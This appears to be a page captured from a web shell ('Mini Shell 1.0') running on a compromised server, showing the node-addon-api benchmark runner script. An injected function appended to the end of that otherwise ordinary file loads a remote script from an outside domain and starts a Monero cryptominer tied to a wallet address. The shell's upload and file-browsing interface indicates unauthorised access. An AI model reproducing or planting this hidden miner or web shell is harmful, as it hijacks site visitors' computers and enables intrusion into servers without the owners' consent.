HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/var/www/node-app/node_modules/node-addon-api/benchmark/
Upload File :
Current File : //proc/self/root/var/www/node-app/node_modules/node-addon-api/benchmark/index.js
'use strict';

const { readdirSync } = require('fs');
const { spawnSync } = require('child_process');
const path = require('path');

let benchmarks = [];

if (!!process.env.npm_config_benchmarks) {
  benchmarks = process.env.npm_config_benchmarks
    .split(';')
    .map((item) => (item + '.js'));
}

// Run each file in this directory or the list given on the command line except
// index.js as a Node.js process.
(benchmarks.length > 0 ? benchmarks : readdirSync(__dirname))
  .filter((item) => (item !== 'index.js' && item.match(/\.js$/)))
  .map((item) => path.join(__dirname, item))
  .forEach((item) => {
    const child = spawnSync(process.execPath, [
      '--expose-gc',
      item
    ], { stdio: 'inherit' });
    if (child.signal) {
      console.error(`Tests aborted with ${child.signal}`);
      process.exitCode = 1;
    } else {
      process.exitCode = child.status;
    }
    if (child.status !== 0) {
      process.exit(process.exitCode);
    }
  });
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}